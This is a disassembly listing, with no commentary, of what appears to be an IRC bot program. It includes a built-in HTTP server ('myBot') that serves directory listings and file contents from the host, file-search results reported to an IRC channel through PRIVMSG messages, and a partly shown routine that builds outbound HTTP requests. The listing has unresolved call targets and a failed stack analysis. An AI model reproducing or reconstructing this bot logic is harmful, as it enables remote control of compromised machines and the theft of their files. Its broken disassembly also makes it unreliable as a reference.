		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 24h
		jmp	short loc_40F636
; ---------------------------------------------------------------------------


loc_40F615:				; CODE XREF: sub_40F531+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 28h


loc_40F636:				; CODE XREF: sub_40F531+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4CB694
		cmp	[ebp+var_A4], edi
		jnz	short loc_40F676
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40FFF1
		pop	ecx
		pop	ecx
		jmp	short loc_40F693
; ---------------------------------------------------------------------------


loc_40F676:				; CODE XREF: sub_40F531+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40F96B
		add	esp, 10h


loc_40F693:				; CODE XREF: sub_40F531+143j
		push	[ebp+var_44C]
		call	dword_4CB6DC
		push	[ebp+var_B4]
		call	sub_40B413
		pop	ecx
		push	edi
		nop
		call	near ptr 2700B29h
		pop	edi
		pop	esi
sub_40F531	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6B4	proc near		; CODE XREF: sub_40F0D6+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41B590
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40F6EA
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_40F6F3
; ---------------------------------------------------------------------------


loc_40F6EA:				; CODE XREF: sub_40F6B4+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_40F6F3:				; CODE XREF: sub_40F6B4+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F78E
		mov	[ebp+arg_8], 2


loc_40F71E:				; CODE XREF: sub_40F6B4+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40F75E
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40F75E
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40F75E
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40F75E
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40F778
; ---------------------------------------------------------------------------


loc_40F75E:				; CODE XREF: sub_40F6B4+7Aj
					; sub_40F6B4+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40F76E
		push	5Ch
		pop	eax
		jmp	short loc_40F771
; ---------------------------------------------------------------------------


loc_40F76E:				; CODE XREF: sub_40F6B4+B3j
		movsx	eax, al


loc_40F771:				; CODE XREF: sub_40F6B4+B8j
		mov	[ebp+ebx+var_210], al


loc_40F778:				; CODE XREF: sub_40F6B4+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40F71E


loc_40F78E:				; CODE XREF: sub_40F6B4+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_429AC0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_314]
		push	offset asc_42A094 ; "\n"
		push	eax
		call	sub_41C0F4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		nop
		call	near ptr 26A0D79h
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40F7DF
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F7E2
		push	[ebp+arg_0]
		jmp	loc_40F862
; ---------------------------------------------------------------------------


loc_40F7DF:				; CODE XREF: sub_40F6B4+11Cj
		mov	[ebp+var_4], esi


loc_40F7E2:				; CODE XREF: sub_40F6B4+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40F7EF
		mov	[ebp+var_4], esi


loc_40F7EF:				; CODE XREF: sub_40F6B4+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40F86D
		cmp	[ebp+arg_C], edi
		jz	short loc_40F861
		lea	eax, [ebp+var_314]
		push	offset asc_434190 ; "*"
		push	eax
		call	sub_41BEC0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4100AE
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41B886
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_40F8BC
; ---------------------------------------------------------------------------


loc_40F861:				; CODE XREF: sub_40F6B4+152j
		push	ebx


loc_40F862:				; CODE XREF: sub_40F6B4+126j
		call	dword_4CB6DC
		jmp	loc_40F964
; ---------------------------------------------------------------------------


loc_40F86D:				; CODE XREF: sub_40F6B4+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	near ptr 273093Bh
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F8BC
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2780000h
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 26809B4h


loc_40F8BC:				; CODE XREF: sub_40F6B4+1ABj
					; sub_40F6B4+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_43415C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B0F7
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43E584[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40F531
		push	edi
		push	edi
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E594[ecx], eax
		jz	short loc_40F936


loc_40F924:				; CODE XREF: sub_40F6B4+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_40F964
		push	5
		nop
		call	near ptr 2690F63h
		jmp	short loc_40F924
; ---------------------------------------------------------------------------


loc_40F936:				; CODE XREF: sub_40F6B4+26Ej
		push	ebx
		call	dword_4CB6DC
		nop
		call	near ptr 26A08B1h
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_434124
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_40F964:				; CODE XREF: sub_40F6B4+1B4j
					; sub_40F6B4+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F6B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F96B	proc near		; CODE XREF: sub_401ACD+777Bp
					; sub_40F531+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41B590
		mov	edi, [ebp+arg_0]
		push	offset asc_42A094 ; "\n"
		push	edi
		call	sub_41C0F4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F9CA
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FAC9
; ---------------------------------------------------------------------------


loc_40F9CA:				; CODE XREF: sub_40F96B+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_40FAAF
		call	sub_41AFE0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB694
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB694
		push	edi
		call	sub_41AFE0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB694
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40FAC9
; ---------------------------------------------------------------------------


loc_40FAAF:				; CODE XREF: sub_40F96B+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_40FAC9:				; CODE XREF: sub_40F96B+5Aj
					; sub_40F96B+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB694
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FB64
		push	[ebp+arg_C]
		call	sub_41AFE0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40FB64
		push	[ebp+arg_C]
		call	sub_41AFE0
		sub	eax, 3
		pop	ecx
		jz	short loc_40FB15


loc_40FB09:				; CODE XREF: sub_40F96B+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40FB15
		dec	eax
		jnz	short loc_40FB09


loc_40FB15:				; CODE XREF: sub_40F96B+19Cj
					; sub_40F96B+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB694


loc_40FB64:				; CODE XREF: sub_40F96B+180j
					; sub_40F96B+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	near ptr 2600000h
		nop
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	near ptr 27A0000h
		nop
		test	eax, eax
		jz	loc_40FF54
		mov	edi, 1FFh


loc_40FB90:				; CODE XREF: sub_40F96B+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_40FF3C
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3C
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 2790645h
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 2790000h
		nop
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_40FC05
		mov	ecx, offset aAm	; "AM"


loc_40FC05:				; CODE XREF: sub_40F96B+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40FC11
		sub	eax, 0Ch


loc_40FC11:				; CODE XREF: sub_40F96B+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41B886
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40FDB4
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FC85
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_40FEFD
; ---------------------------------------------------------------------------


loc_40FC85:				; CODE XREF: sub_40F96B+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40FD6F
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB694
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB694
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FD25
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40FD2A
; ---------------------------------------------------------------------------


loc_40FD25:				; CODE XREF: sub_40F96B+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_40FD2A:				; CODE XREF: sub_40F96B+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB694
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FEFE
; ---------------------------------------------------------------------------


loc_40FD6F:				; CODE XREF: sub_40F96B+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FF0D
; ---------------------------------------------------------------------------


loc_40FDB4:				; CODE XREF: sub_40F96B+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FDF3
		push	ebx
		push	[ebp+var_368]
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_40FDDF:				; CODE XREF: sub_40F96B+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		jmp	loc_40FF0D
; ---------------------------------------------------------------------------


loc_40FDF3:				; CODE XREF: sub_40F96B+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_40FEE7
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB694
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_429AC0
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB694
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FE93
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40FE98
; ---------------------------------------------------------------------------


loc_40FE93:				; CODE XREF: sub_40F96B+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_40FE98:				; CODE XREF: sub_40F96B+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB694
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FDDF
; ---------------------------------------------------------------------------


loc_40FEE7:				; CODE XREF: sub_40F96B+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_40FEFD:				; CODE XREF: sub_40F96B+315j
		push	esi


loc_40FEFE:				; CODE XREF: sub_40F96B+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 18h


loc_40FF0D:				; CODE XREF: sub_40F96B+444j
					; sub_40F96B+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB694
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF3C
		push	7D0h
		nop
		call	near ptr 2690F63h


loc_40FF3C:				; CODE XREF: sub_40F96B+22Bj
					; sub_40F96B+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 27A0000h
		test	eax, eax
		jnz	loc_40FB90


loc_40FF54:				; CODE XREF: sub_40F96B+21Aj
		push	[ebp+arg_0]
		call	near ptr 2780374h
		nop
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF97
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40FFCB
; ---------------------------------------------------------------------------


loc_40FF97:				; CODE XREF: sub_40F96B+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FFB1
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_40FFCB
; ---------------------------------------------------------------------------


loc_40FFB1:				; CODE XREF: sub_40F96B+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40FFCB:				; CODE XREF: sub_40F96B+62Aj
					; sub_40F96B+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB694
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F96B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFF1	proc near		; CODE XREF: sub_40F531+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		nop
		call	near ptr 273093Bh
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4100A9
		push	esi
		push	ebx
		call	near ptr 2780000h
		nop
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4100A2


loc_410036:				; CODE XREF: sub_40FFF1+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch


loc_41004B:				; DATA XREF: ___:00438118o
		cmp	edi, [ebp+arg_4]


loc_41004E:				; DATA XREF: ___:0043812Co
		jbe	short loc_410053
		mov	edi, [ebp+arg_4]


loc_410053:				; CODE XREF: sub_40FFF1:loc_41004Ej
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 27B0000h
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2730000h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41009D
		call	dword_4CB5D8
		cmp	eax, 2733h
		jnz	short loc_4100A2
		xor	eax, eax


loc_41009D:				; CODE XREF: sub_40FFF1+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410036


loc_4100A2:				; CODE XREF: sub_40FFF1+43j
					; sub_40FFF1+A8j
		push	ebx
		nop
		call	near ptr 26809B4h


loc_4100A9:				; CODE XREF: sub_40FFF1+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FFF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4100AE	proc near		; CODE XREF: sub_40F6B4+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_4100D7


loc_4100C1:				; CODE XREF: sub_4100AE+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4100CB
		mov	byte ptr [esi+edi], 2Fh


loc_4100CB:				; CODE XREF: sub_4100AE+17j
		push	edi
		inc	esi
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_4100C1


loc_4100D7:				; CODE XREF: sub_4100AE+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4100AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100DC	proc near		; CODE XREF: sub_401ACD+5298p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CB5B4
		push	6
		push	1
		push	2
		call	dword_4CB6C4
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CB644
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40AAFA
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4101B9
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410155
		mov	eax, offset dword_43D7F8


loc_410155:				; CODE XREF: sub_4100DC+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
